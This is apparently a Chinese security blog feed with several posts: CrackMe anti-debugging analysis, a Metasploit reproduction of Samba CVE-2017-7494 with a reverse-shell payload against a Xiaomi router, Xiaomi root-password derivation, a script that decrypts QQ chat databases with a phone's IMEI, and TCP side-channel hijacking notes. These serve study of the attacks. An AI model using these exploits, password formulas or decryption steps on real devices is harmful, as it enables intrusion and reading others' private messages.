    实验二:软件反动态调试技术分析

    对象

    CrackMe1.exe 1641.0 KB
    无保护措施:无壳、未加密、无反调试措施
    使用OllyDbg对该程序进行调试时,程序会自动退出

    要求

    1. 分析CrackMe1.exe是如何通过父进程检测实现反OllyDbg调试的
    2. 分析除父进程检测外,该程序用到的反动态调试技术

    父进程检测

    一般双击运行的进程的父进程都是explorer.exe,但是如果进程被调试父进程则是调试器进程。也就是说如果父进程不是explorer.exe则可以认为程序正在被调试。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    BOOL IsInDebugger(){
    HANDLE hProcessSnap = NULL;
    char Expchar[] ="\\EXPLORER.EXE";
    char szBuffer[MAX_PATH]={0};
    char FileName[MAX_PATH]={0};
    PROCESSENTRY32 pe32 = {0};

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //得到所有进程的列表快照
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    return FALSE;

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hProcessSnap, &pe32)) // 查找进程
    {
    CloseHandle (hProcessSnap);
    return FALSE;
    }

    do // 遍历所有进程
    {
    if(pe32.th32ProcessID==GetCurrentProcessId() )//判断是否是自己的进程?
    {
    HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pe32.th32ParentProcessID); //打开父进程
    if (hProcess)
    {
    if (GetModuleFileNameEx(hProcess, NULL, FileName, MAX_PATH) ) // 得到父进程名
    {
    GetWindowsDirectory(szBuffer,MAX_PATH); //得到系统所在目录
    strcat(szBuffer,Expchar); //组合成类似的字串D:\Winnt\Explorer.EXE
    if(strcmpi (FileName,szBuffer)) // 比较当前是否为Explorer.EXE进程
    {
    return TRUE; // 父进程若不是Explorer.EXE,则是调试器
    }
    else
    {
    return FALSE; // 无法获得进程名
    }
    CloseHandle (hProcess);
    }
    else
    {
    return FALSE;//无权访问该进程
    }
    }
    }
    while (Process32Next(hProcessSnap, &pe32));
    CloseHandle (hProcessSnap);
    return FALSE;
    }

    由上述示例代码,我们可以看到父进程检测中调用了GetCurrentProcessId函数来判断。
    因此在Ollydbg中首先找到GetCurrentProcessId模块(Ctrl+N),然后设置断点

    查看断点是否设置成功

    运行该程序,在断点00401932停下,打开任务管理器,CrackMe1的pid为4020=0xFB4
    程序在调用完GetCurrentProcessId后,pid被放入EAX寄存器中,值为0xFB4

    然后调用Openprocess函数,其参数processId为0xFB4,返回进程(CrackMe1)的句柄
    通过ntdll.dll中的LoadLibraryA和GetProcAddress函数找到NtQueryInformationProcess:

    1
    PNTQUERYINFORMATIONPROCESS  NtQueryInformationProcess = (PNTQUERYINFORMATIONPROCESS)GetProcAddress(GetModuleHandleA("ntdll"),"NtQueryInformationProcess");


    用OpenProcess获得的句柄设置NtQueryInformationProcess的对应参数,然后调用NtQueryInformationProcess,从其返回值中可以获取到CrackMe1.exe的父进程PID=0xDB4=3508,在任务管理器中查看进程名确实是ollydbg
    然后再次调用openprocess获得父进程的句柄

    最后,调用GetModuleFileNameExA通过OpenProcess返回的句柄获取父进程的文件名:

    至此,成功获取到父进程的文件名,接下来将进行父进程文件名与“c:\windows\explore.exe”的字符串比较。

    EDX中保存explorer字符串,ESI中保存ollydbg字符串
    然后进入循环逐位比较,比较流程是,首先取esi中第一个字符到eax,将EAX的值减去41然后存入exc中,并与19比较大小,判断是否大写,若是则eax加上20转化为小写;转化为小写之后,对edx中的字符做同样操作,然后test eax eax判断是否比较完毕,若没有则逐个比较,直到遇到不相等的字符。

    其他检测


    用EnumWindows枚举所有屏幕上的顶层窗口,并将窗口句柄传送给应用程序定义的回调函数,此处的回调函数调用了GetWindowTextA将指定窗口的标题栏(如果有的话)的文字拷贝到缓冲区内

    将得到的窗口标题与”ollydbg”等进行比较,看是否为调试器。


    实验三:加花加密反调试技术分析

    对象

    CrackMe2.exe 9.00 KB
    保护措施:部分加花、部分加密、简单反调试
    根据提示

    内容

    1. 加壳脱壳深入理解
    2. 尝试手动脱壳
    3. 分析CrackMe2.exe中花指令
    4. 分析CrackMe2.exe中的被加密的函数的功能
    5. 分析CrackMe2.exe中的反调试手段
    6. 分析CrackMe2.exe中混合的64位代码的功能
    ]]>
    + + - 二进制 + + 二进制 + - - 逆向 - 破解 - -
    - - <![CDATA[小米路由器与Samba漏洞CVE-2017-7494]]> - %2F2019%2F03%2F25%2FSamba-CVE%2F - + + + + + 逆向 + + 破解 + + + + + + + + + 小米路由器与Samba漏洞CVE-2017-7494 + + /2019/03/25/Samba-CVE/ + + 小米路由器与Samba漏洞CVE-2017-7494

    漏洞描述

    Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,会导致服务器加载并执行指定的库文件。
    具体执行条件如下:

    1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问

    2. 共享文件拥有写入权限

    3. 恶意攻击者需猜解Samba服务端共享目录的物理路径

    Samba介绍

    Samba是在Linux和Unix系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。

    SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

    漏洞成因

    处于\source3\rpc_server\src_pipe.c的is_known_pipename()函数未对传进来的管道名pipename的路径分隔符/进行识别过滤,导致可以用绝对路径调用恶意的so文件,从而远程任意代码执行。
    首先看到is_known_pipename()函数

    跟进到smb_probe_module()

    再跟进到do_smb_load_module(),发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数

    我们可以通过smb服务上传一个恶意的so文件,该文件包含一个输出函数init_samba_module,随后通过上述过程进行调用,执行任意代码。

    漏洞复现

    小米路由器

    1
    2
    3
    4
    5
    6
    netstat -apnt
    tcp 0 0 192.168.31.1:445 0.0.0.0:* LISTEN 0 572 1917/smbd

    nmap 192.168.31.1
    139/tcp open netbios-ssn
    445/tcp open microsoft-ds

    端口已开启

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    vim /etc/samba/smb.conf
    deadtime = 30
    domain master = yes
    encrypt passwords = true
    enable core files = no
    guest account = nobody
    guest ok = yes
    invalid users =
    local master = yes
    load printers = no
    map to guest = Bad User
    min receivefile size = 16384
    null passwords = yes
    obey pam restrictions = yes
    passdb backend = smbpasswd
    preferred master = yes
    printable = no
    smb encrypt = disabled
    smb passwd file = /etc/samba/smbpasswd
    socket options = SO_SNDBUFFORCE=1048576 SO_RCVBUFFORCE=1048576
    smb2 max trans = 1048576
    smb2 max write = 1048576
    smb2 max read = 1048576
    write cache size = 262144
    syslog = 2
    syslog only = yes
    use sendfile = yes
    writeable = yes
    log level = 1
    unicode = True
    max log size = 500
    log file = /tmp/log/samba.log
    server role = STANDALONE

    [homes]
    comment = Home Directories
    browsable = no
    read only = no
    create mode = 0750

    [data] ***SMB_SHARE_NAME***
    path = /tmp ***SMB_FOLDER***
    read only = no ***具备可写权限***
    guest ok = yes ***允许匿名***
    create mask = 0777
    directory mask = 0777

    具有可写权限、目录为/tmp

    攻击:使用metasploit

    设置攻击参数

    靶机是小米路由器R3,它的系统为mips架构,但是这个库好像对它的支持不是很好

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    show options

    Module options (exploit/linux/samba/is_known_pipename):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS 192.168.31.1 yes The target address range or CIDR identifier
    RPORT 445 yes The SMB service port (TCP)
    SMB_FOLDER no The directory to use within the writeable SMB share
    SMB_SHARE_NAME no The name of the SMB share containing a writeable directory


    Payload options (generic/shell_reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    LHOST 192.168.216.129 yes The listen address (an interface may be specified)
    LPORT 4444 yes The listen port


    Exploit target:

    Id Name
    -- ----
    7 Linux MIPSLE

    执行攻击

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    exploit

    [*] Started reverse TCP handler on 192.168.216.129:4444
    [*] 192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path
    [*] 192.168.31.1:445 - Retrieving the remote path of the share 'data'
    [*] 192.168.31.1:445 - Share 'data' has server-side path '/tmp
    [*] 192.168.31.1:445 - Uploaded payload to \\192.168.31.1\data\KcQiOcbk.so
    [*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using \\PIPE\/tmp/KcQiOcbk.so...
    [-] 192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
    [*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using /tmp/KcQiOcbk.so...
    [-] 192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
    [*] Exploit completed, but no session was created.

    虽然报错,但是查看共享文件夹/tmp却发现了生成了.so文件
    知乎这篇专栏也有相同问题

    分析POC,查找原因

    (来自Wz’blog)

    建立SMB连接。若需要账号密码登录,则必须登录后才能继续

    从微软上扒的SMB协议建立时序图:

    对应POC:

    利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path)

    其中find_writeable_path()函数需要跟进看一下:

    再跟进看enumerate_directories()以及verify_writeable_directory函数

    可以看到代码逻辑很清楚,首先遍历出当前路径所有的文件夹,然后尝试往里面写一个随机的txt文件用作可写测试,随后删除掉txt文件,记录下可写的文件路径。
    至此,我们得到了一个共享名(即本例中的data)以及其当前路径下的可写目录(/tmp)

    利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)


    至此获取到了共享名data的绝对路径。
    值得注意的是,这里跟早期的Payload不一样,早期的payload是靠暴力猜解目录,所以跟一些分析文章有些出入。现在的Payload是根据NetShareGetInfo直接获取到准确的路径,极大地提高了攻击的成功率。

    上传恶意so文件


    其中写入的so文件是Metasploit生成的反弹shell,很简单的执行一句命令。有一点需要注意的是里面的函数名必须是samba_init_module并且是一个导出函数,这个原因上述的漏洞分析也有提及。

    调用恶意文件,并执行echo命令打印随机字符串检验是否调用成功


    利用从第2步获取到的可写文件目录(Path)以及从第3步得到的共享文件绝对路径(SharePath)构造恶意管道名\PIPE\/SharePath/Path/Evil.so,然后通过SMB_COM_NT_CREATE_ANDX进行调用。
    在复现时,调用恶意so文件总会失败,产生Error Code为:STATUS_OBJECT_NAME_NOT_FOUND的错误。尚未能明白为什么会出现这种首次失败的情况,也许要详细看看smb协议才能知道了。
    POC代码将STATUS_OBJECT_PATH_INVALID作为我们payload被加载的标志,随后就是用NBSS协议进行了一次远程代码执行的测试,执行代码为echo随机字符串。

    删除恶意so文件,断开smb连接

    由msf给出的poc过程可见,对小米路由器的攻击在第五步出现问题,因此出现Failed to load STATUS_OBJECT_NAME_NOT_FOUND

    ]]>
    + + - IOT + + IOT + - - Samba - 远程执行 - CVE - -
    - - <![CDATA[利用itchat定时转发微信消息]]> - %2F2019%2F03%2F23%2Fauto-send-WX%2F - + + + + + Samba + + 远程执行 + + CVE + + + + + + + + + 利用itchat定时转发微信消息 + + /2019/03/23/auto-send-WX/ + + 我们实验室有个光荣传统,每天早上起床叫醒我的不是闹钟,而是群里雷打不动的安全新闻(其实我免提醒了2333)
    而这个发送新闻的人,一代一代的传承,我没想到竟然有一天会落在我头上,哭了o(╥﹏╥)o
    为了不暴露我的起床时间,同时能保质保量的完成任务,我决定做个机器人帮我完成。
    这就是这片po文的由来啦!

    大杀器itchat

    introduction

    先来一段itchat的官方介绍吧

    itchat是一个开源的微信个人号接口,使用python调用微信从未如此简单。
    使用不到三十行的代码,你就可以完成一个能够处理所有信息的微信机器人。
    当然,该api的使用远不止一个机器人,更多的功能等着你来发现,比如这些。
    该接口与公众号接口itchatmp共享类似的操作方式,学习一次掌握两个工具。
    如今微信已经成为了个人社交的很大一部分,希望这个项目能够帮助你扩展你的个人的微信号、方便自己的生活。

    实际上,itchat是对微信网页端的爬虫,所以,网页端可以实现的功能都有,那么,我想要的定时群发微信消息,自然不在话下!

    初步尝试

    • 安装

      1
      pip install itchat
    • 一个简单实例:实现给文件传输助手发送消息

    1
    2
    3
    import itchat
    itchat.auto_login()
    itchat.send('Hello, filehelper', toUserName='filehelper')

    实现定时转发

    这个的实现需要注册msg_register,逻辑很简单,当收到指定群里的指定消息时,将消息转发到另一个群。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    import itchat
    from datetime import datetime
    import time
    import re
    import threading
    from itchat.content import TEXT
    from itchat.content import *
    from apscheduler.schedulers.blocking import BlockingScheduler

    @itchat.msg_register([TEXT], isFriendChat=True, isGroupChat=True, isMpChat=True)
    def getContent(msg):
    global g_msg
    groups = itchat.get_chatrooms(update = True)
    for g in groups:
    #print(g['NickName'])
    if g['NickName'] == '被转发的群名':
    from_group = g['UserName']
    if '每日安全简讯' in msg['Content']:
    print("get message from " + msg['FromUserName'])
    if msg['FromUserName'] == from_group:
    g_msg = msg['Content']
    print('成功获得群消息,等待转发')
    print(int(time.strftime("%H%M%S")))
    while(1):
    if int(time.strftime("%H%M%S")) > 80000:
    SendMessage(g_msg,'发送的对象群名')
    g_msg = ''
    break

    def SendMessage(context,gname):
    itchat.get_chatrooms(update = True)
    users = itchat.search_chatrooms(name=gname)
    userName = users[0]['UserName']
    itchat.send_msg(context,toUserName=userName)
    print("\n发送时间: " + datetime.now().strftime("%Y-%m-%d %H:%M:%S") + "\n" "发送到:" + gname + "\n" + "发送内容:" + context + "\n")
    print("*********************************************************************************")

    if __name__ == '__main__':
    itchat.auto_login(hotReload=True,enableCmdQR=2)
    itchat.run(blockThread=False)

    添加周期防掉线

    据说每三十分钟发送一次消息可防止网页端微信掉线~~

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    def loop_send():
    nowTime = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    context = '现在是北京时间 :\n'+ nowTime +'\n\n我们还活着'
    itchat.get_chatrooms(update = True)
    users = itchat.search_friends(name=u'chengkun')
    userName = users[0]['UserName']
    itchat.send_msg(context,toUserName=userName)

    if __name__ == '__main__':
    sched = BlockingScheduler()
    sched.add_job(loop_send,'interval',minutes=30)
    sched.start()

    把程序放在服务器上

    我是在腾讯云有个服务器,因为自己的电脑不可能时时刻刻开机,所以就放在服务器上,方法是:

    1
    sudo nohup python -u auto_Send.py >> auto_Send.log 2>&1 &

    • 使用nohup可以让程序在后台运行
    • 然后将日志输出到auto_Send.log,方便我们后期出bug了排错
    • -u可以防止输出到python缓冲区

    遇到的坑

    线程阻塞问题

    这里有两个线程,一个是定时转发,一个是循环发送,因此要设置为itchat.run(blockThread=False)以及sched = BlockingScheduler()否则会卡在某个方法。

    找不到群组

    这是因为users = itchat.search_chatrooms(name=gname),在搜索的是你保存到通讯录的群组。

    二维码显示不全

    itchat.auto_login(hotReload=True,enableCmdQR=2),需要设置为2

    ]]>
    + + - 杂七杂八 + + 杂七杂八 + - - itchat - 微信 - -
    - - <![CDATA[小米固件工具mkxqimage]]> - %2F2019%2F03%2F16%2F%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage%2F - + + + + + itchat + + 微信 + + + + + + + + + 小米固件工具mkxqimage + + /2019/03/16/%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage/ + + 小米固件工具mkxqimage

    小米自己改了个打包解包固件的工具,基于 trx 改的(本质上还是 trx 格式),加了 RSA 验证和解包功能,路由系统里自带:

    1
    2
    3
    4
    Usage:
    mkxqimg [-o outfile] [-p private_key] [-f file] [-f file [-f file [-f file ]]]
    [-x file]
    [-I]

    固件解包

    固件工具mkxqimage完成对固件的解包,在解包前先检查Checksum是否正确,然后利用RSA公钥/usr/share/xiaoqiang/public.pem检查RSA签名,这两个步骤通过后,根据[0x0C]的固件类型,以及[0x10]、[0x14]、[0x18]和[0x1C]的4个偏移量拆分固件。

    固件打包

    小米官方在打包固件时用RSA私钥计算出固件的RSA签名,小米路由器下载固件后用RSA公钥来验证RSA签名,有效地防止固件被篡改。

    固件格式

    路由固件的格式,基本是基于 openwrt 的 trx 这个简单的二进制文件格式

    1
    2
    3
    48 44 52 30 63 D4 11 03 FE 3D 1A FD 05 00 02 00
    20 00 00 00 20 00 FE 00 00 00 00 00 00 00 00 00
    FF 04 00 EA 14 F0 9F E5 14 F0 9F E5 14 F0 9F E5

    第1~4字节:ASCII字符串“HDR0”,作为固件的标识;
    第5~8字节:4字节整型数0x0311D464,表示固件的大小:51500132字节;
    第9~12字节:固件的检查和;
    第13~14字节:0x0005,表示固件中包含哪些部分;
    第15~16字节:0x0002,表示固件格式版本号;
    第17~20字节:0x00000020,表示固件第一部分在整个固件中的偏移量,0.4.85固件的第一部分是brcm4709_nor.bin,也就是Flash中除0xfe0000-0xff0000的board_data外的全镜像;
    第21~24字节:0x00FE0020,表示固件第二部分在整个固件中的偏移量,0.4.85固件的第二部分是root.ext4.lzma,也就是硬盘中128M固件的压缩包;
    第33字节开始是固件的正式内容开始。

    小米开启ssh工具包

    使用mkxqimage解包
    (现在会提示秘钥不存在)

    1
    2
    error fopen public key
    Image verify failed, not formal image

    如果能解包应该可以得到脚本文件upsetting.sh

    1
    2
    3
    4
    #!/bin/sh
    nvram set ssh_en=1
    nvram set flag_init_root_pwd=1
    nvram commit

    执行脚本文件upsetting.sh后,将ssh_en设置为1,同时设置了flag_init_root_pwd项。当正式启动时,/usr/sbin/boot_check脚本检测到flag_init_root_pwd=1时,自动修改root用户密码,具体脚本为:

    1
    2
    3
    4
    5
    6
    7
    flg_init_pwd=`nvram get flag_init_root_pwd`
    if [ "$flg_init_pwd" = "1" ]; then
    init_pwd=`mkxqimage -I`
    (echo $init_pwd; sleep 1; echo $init_pwd) | passwd root
    nvram unset flag_init_root_pwd
    nvram commit
    fi

    初始密码是mkxqimage -I的结果,实际是根据路由器的序列号计算得到。路由器的序列号印在底盖上,12位数字,如:561000088888

    初始密码计算算法为:

    substr(md5(SN+"A2E371B0-B34B-48A5-8C40-A7133F3B5D88"), 0, 8)

    A2E371B0-B34B-48A5-8C40-A7133F3B5D88 为分析mkxqimage得到的salt

    ]]>
    + + - IOT + + IOT + - - 小米 - 文件格式 - SSH - -
    - - <![CDATA[QQ数据库的加密与解密]]> - %2F2019%2F02%2F22%2Fqq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86%2F - + + + + + 小米 + + 文件格式 + + SSH + + + + + + + + + QQ数据库的加密与解密 + + /2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/ + + qq数据库采用简单加密——异或加密

    数据获取:

    DENGTA_META.xml—IMEI:867179032952446
    databases/2685371834.db——数据库文件

    解密方式:

    明文msg_t 密文msg_Data key:IMEI
    msg_t = msg_Data[i]^IMEI[i%15]

    实验:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    import sqlite3

    IMEI = '867179032952446'
    conn = sqlite3.connect('2685371834.db')
    c = conn.cursor()

    def _decrypt(foo):
    substr = ''
    #print(len(foo))
    for i in range(0,len(foo)):
    substr += chr(ord(foo[i]) ^ ord(IMEI[i%15]))
    return substr

    #rem = c.execute("SELECT uin, remark, name FROM Friends")
    Msg = c.execute("SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New")

    for msg in Msg:
    uid = _decrypt(msg[1])
    print("\n"+uid+":")
    try:
    msgData = _decrypt(msg[0]).decode('utf-8')
    print(msgData)
    except:
    pass

    结果

    ]]>
    + + - 加密解密 + + 加密解密 + - - 密码 - QQ - 数据库 - -
    - - <![CDATA[wifi半双工侧信道攻击学习笔记]]> - %2F2019%2F01%2F16%2Fwifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2F - + + + + + 密码 + + QQ + + 数据库 + + + + + + + + + wifi半双工侧信道攻击学习笔记 + + /2019/01/16/wifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/ + + TCP侧信道分析及利用的学习报告

    论文来源:USENIX SECURITY 2018:Off-Path TCP Exploit: How Wireless Routers Can Jeopardize Your Secrets
    下载:
    原文pdf
    中文slides

    背景知识

    测信道

    香农信息论

    信息熵

    什么是信息? 用来减少随机不确定的东西

    什么是加密? 类似于加噪声,增加随机不确定性

    “从密码分析者来看,一个保密系统几乎就是一个通信系统。待传的消息是统计事件,加密所用的密钥按概率选出,加密结果为密报,这是分析者可以利用的,类似于受扰信号。”

    侧信道随之出现 越过加密算法增加的随机不定性,从其他的渠道获取数据标签,确定信息内容。

    1. 早期:采集加密电子设备在运行过程中的时间消耗、功率消耗或者电磁辐射消耗等边缘信息的差异性
    2. 而随着研究的深入,逐渐从加密设备延伸到计算机内部CPU、内存等之间的信息传递
    3. 并在Web应用交互信息传递越来越频繁时,延伸到了网络加密数据流的破解方面

    侧信道攻击的流程 第一个就是侧信道泄露的截取,第二个是信息的恢复。


    网络攻击

    1. 中间人攻击

      “指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。”

    • 公共wifi、路由器劫持
    • 一般使用加密来防御
    • 加密的代价:维护密钥证书、影响功能(运营商无法做缓存)
    1. 非中间人攻击/偏离路径攻击/off-path attack

      通信线路之外,攻击者看不到双方的消息,没办法截获和发送通信包。智能伪造成一方给另一方发消息。

    • 攻击成功需要:消息合法+最先到达
    • 防御措施:challenge-response/询问-应答机制
      双方在通信前交换一个随机数,这个随机数在每次的通信中都要被附带,而中间人看不见这个随机数,因此伪造的消息被认为不合法。
    • 攻击者如何得到这个随机数:侧信道

    TCP三次握手

    1. 客户端通过向服务器端发送一个SYN来创建一个主动打开,作为三路握手的一部分。客户端把这段连接的序号设定为随机数A
    2. 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1,SYN/ACK包本身又有一个随机产生的序号B
    3. 最后,客户端再发送一个ACK。当服务端收到这个ACK的时候,就完成了三路握手,并进入了连接创建状态。此时包的序号被设定为收到的确认号A+1,而响应号则为B+1。

    通过三次握手,确定对方不是非中间人

    TCP序列号的问题

    19851995200120042007201220122016
    MorrisMitnikZalewskyWastonkLMHerzberg作者作者
    初始序列可预测真实利用漏洞仍在BGP DoSWindows攻击Puppet-assistedMalware-assistedoff-path attack
    1. 90年代时发现并不随机:1995年伪造客户端连接微软大楼的服务器
    2. 2007年在windows场景下用IDID侧信道猜出序列号:只针对Windows,花费几小时

    Malware-assisted

    攻击模型:
    给受害者安装一个无特权的应用程序(仅能网络连接),这个程序跟非中间人的攻击者里应外合,劫持手机上所有的TCP连接。

    如何劫持TCP

    1. 需要的信息:Facebook的连接IP地址和端口号,由此可以知道TCP连接的序列号,利用序列号伪装成Facebook给手机发消息。
      使用netstat命令获取:

    2. 任务:由于TCP的序列号通常连续,所以要精确猜到它的下一个序列号。

    3. 如何验证序列号正确:通过某种侧信道,这个恶意软件在后台可以提供反馈。

    变种一:防火墙

    攻击过程: TCP三次握手之后产生A和B,将来传输的包序列号必须跟A和B很接近,否则,防火墙会丢弃这个包。因此只有猜对了序列号,包才能到达手机端。到达手机端后,后台的恶意软件可以帮助我们判断手机是否接受了这个数据包。

    具体侧信道方案: CPU资源使用率(噪音很大)——>TCP计数器(后台软件运行制造噪音)——>低噪音计数器:包被丢掉时,一个相应的错误计数器。

    解决方法: 关闭防火墙检查序列号的功能

    变种二:无防火墙

    具体侧信道方案:跟TCP业务逻辑有关的计数器——收到的TCP包序列号小于期望时增加,大于时不变。二分查找搜索正确的序列号。
    影响范围:Android、Linux、MacOS、FreeBSD


    Pure off-path:无恶意软件协助

    不植入恶意软件,劫持任意两台机器的TCP连接:首先确定是否建立TCP连接,然后推测其序列号A和B。

    Global Rate Limit

    USENIX 2016 : Off-Path TCP Exploits: Global Rate Limit Considered Dangerous

    侧信道: 所有的侧信道,本质上就是攻击者和受害者之间共享着某些资源,如之前的全局TCP计数器。这里使用的侧信道是 服务器上 的共享资源,限速器(RFC 5961)限制某一种包的发送速率(默认100p/s)

    如何利用共享限速器:
    先判断是否建立了连接。然后伪造TCP包,需要猜测源端口,如果猜测正确,服务器会返回一个challenge,攻击者不断触发,一共可以收到99个(还有一个发给了客户端);如果猜测错误,则一共可以收到100个challenge。

    评估: 是否建立了连接:<10s ; Seq:30s ; ACK:<10s

    解决方案: 1. 加噪音,100变成150、200;2. 限速器做成局部的


    Unfixable WiFi timing

    USENIX 2018 : Off-Path TCP Exploit: How Wireless Routers
    Can Jeopardize Your Secrets
    之前的漏洞无论是计数器还是限速器都属于软件,很好更正,但这篇文章的漏洞利用无法修复。

    TCP收包的原理: 通常TCP收包要看这个包是否匹配了当前的某一个连接。如果连接匹配上了,就会去看这个包的序列号;如果序列号不对,会触发一个回复,说明这个序列号存在问题;如果序列号正确,但反向序列号不对,也会丢包。当连接匹配、序列号和反向序列号正确时,就会返回一个数据包。

    侧信道: 攻击者伪装成服务器给客户端发包,正确的序列号会有回复,错误则没有。但回复时发送给服务器的,有没有回复攻击者并不知道。那么如何去判断有没有回复,利用无线网络的 半双工 传输。
    让有回包和没有回包的时间差异放大。

    判断流程: 客户端和路由器之间wifi通信。攻击者依次发送三个数据包,第一个包用来测试正常的RTT。第2个包是伪装成服务器发送的,如果第2个包猜对了,客户端会向服务器返回数据包,这会导致占用更长时间的wifi信道,从而会使第3个包的RTT更长。

    评估: 在本地环境下,如果发送40个包,就有20ms的RTT差别。

    攻击应用:
    1. 攻击模型: 受害者访问了我们的钓鱼网站,这时javascript(傀儡)会在后台执行,主动建立到攻击者的连接(规避NAT或防火墙造成的不可抵达问题),这时攻击者就可以从外网测试RTT。

    与理想情况的不同:客户端通常在NAT或防火墙之后;操作系统不一定严格遵守TCP收包的原则

    Attacker -------wire----------|                           Router ---------wireless-------Victim (client)Server   -------wire----------|

    2. 攻击目标: 推断出客户端和服务器是否建立了连接;合计连接中交换的字节数或强制中断连接;注入恶意payload到连接(不失一般性的关注web缓存投毒)。前两个不需要傀儡初始化连接,第三个不一定需要,但攻击者控制了时序,能够简化攻击。

    3. 攻击过程: 假设傀儡已经建立了连接,攻击者可以劫持并替换任何不加密的网站(如武汉大学),并在浏览器缓存。这是因为当浏览器请求相同的ip地址时,会复用之前的TCP连接。这意味着恶意网站中的傀儡可以通过重复HTML元素来建立到目标域名的单个持久连接。然后,路径外攻击者可以进行侧信道攻击,以推断目标连接中使用的端口号和序列号,然后注入虚假的http响应,并要求浏览器不重新检查对象的新鲜度,从而达到持续性的缓存投毒。

    4. 细节:

    • 连接(四元组)推断: 每一轮使用30个重复包测试一个端口,如果端口号正确,就会发现RTT大幅增加。如果还要完成 web缓存投毒 ,还需要傀儡初始化连接来协助,根据系统不同,有不同的端口选择算法可以优化:windows&macOS 使用全局和顺序端口分配策略为其TCP连接选择短暂的端口号,这意味着攻击者可以在观察到与恶意Web服务器的初始连接后推断出要使用的下一个端口号,这完全消除了对端口号推断的需要。NAT 端口保留,不需要关心外部端口被转换成不可预知的内部端口。来自同一域名的多个IP地址,这意味着攻击者需要付出更大的代价来推断端口号。
    • 序列号推断: 通过利用时序侧信道来判断是否存在相应的响应,从而将窗口序列号与窗外序列号区分开来。一旦我们得到一个 窗口内序列号,通过进行二分搜索进一步将序列号空间缩小到单个值 RCV.NXT。如果还要使用傀儡建立的连接发起web缓存投毒,可以进一步优化:增大接收窗口的大小,可以减少猜测的迭代次数,通常可以放大到500000(之前是65535),而且根据RFC793,窗口放大之后就永远不会缩小。
    • TCP劫持: 通过劫持傀儡初始化的连接,可以简化web缓存投毒的过程。三个os在ACK验证上都不符合规范,所以各自处理情况也不同——windows:客户端必须持续发送请求以防止ACK接收窗口仅为一个字节,这要求攻击者必须能准确预期下一个序列号并解决大量流量带来的噪声。
      因此,作者设计了一种新策略,该策略利用处理重叠数据的TCP行为和处理损坏的HTTP响应的浏览器行为——在Windows主机上缓冲的攻击者注入数据可能会破坏来自服务器的真实HTTP响应。 (1)注入,傀儡不断从服务器上请求脚本,而攻击者发送2^23/|wnd|个欺骗性数据包,这些包的窗口序列号与RCV.NXT加上偏移量相匹配,其中|wnd|为ack接收窗口大小,第i个数据包的ACK号为i*|wnd|,payload为

      1
      websocket.send(|wnd|*i)

